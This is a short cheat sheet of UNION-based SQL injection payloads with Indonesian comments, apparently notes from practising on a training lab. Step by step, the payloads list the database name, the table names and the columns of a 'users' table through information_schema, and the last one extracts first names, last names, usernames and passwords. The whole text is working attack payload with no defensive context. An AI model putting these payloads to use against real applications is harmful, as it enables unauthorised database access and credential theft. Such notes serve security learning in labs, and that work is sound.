//command untuk melihat database
‘union select null,database() #’
// command untuk melihat nama table
‘union select null,table_name from
information_schema.tables #’
//mengambil semua kolom dari table users
‘union select null,concat (column_name) from
information_schema.columns where table_name = ‘users’ #’
//mengambil user dan pwd
‘union select null, concat (first_name, 0x0a,
last_name, 0x0a, user, 0x0a, password) from users #’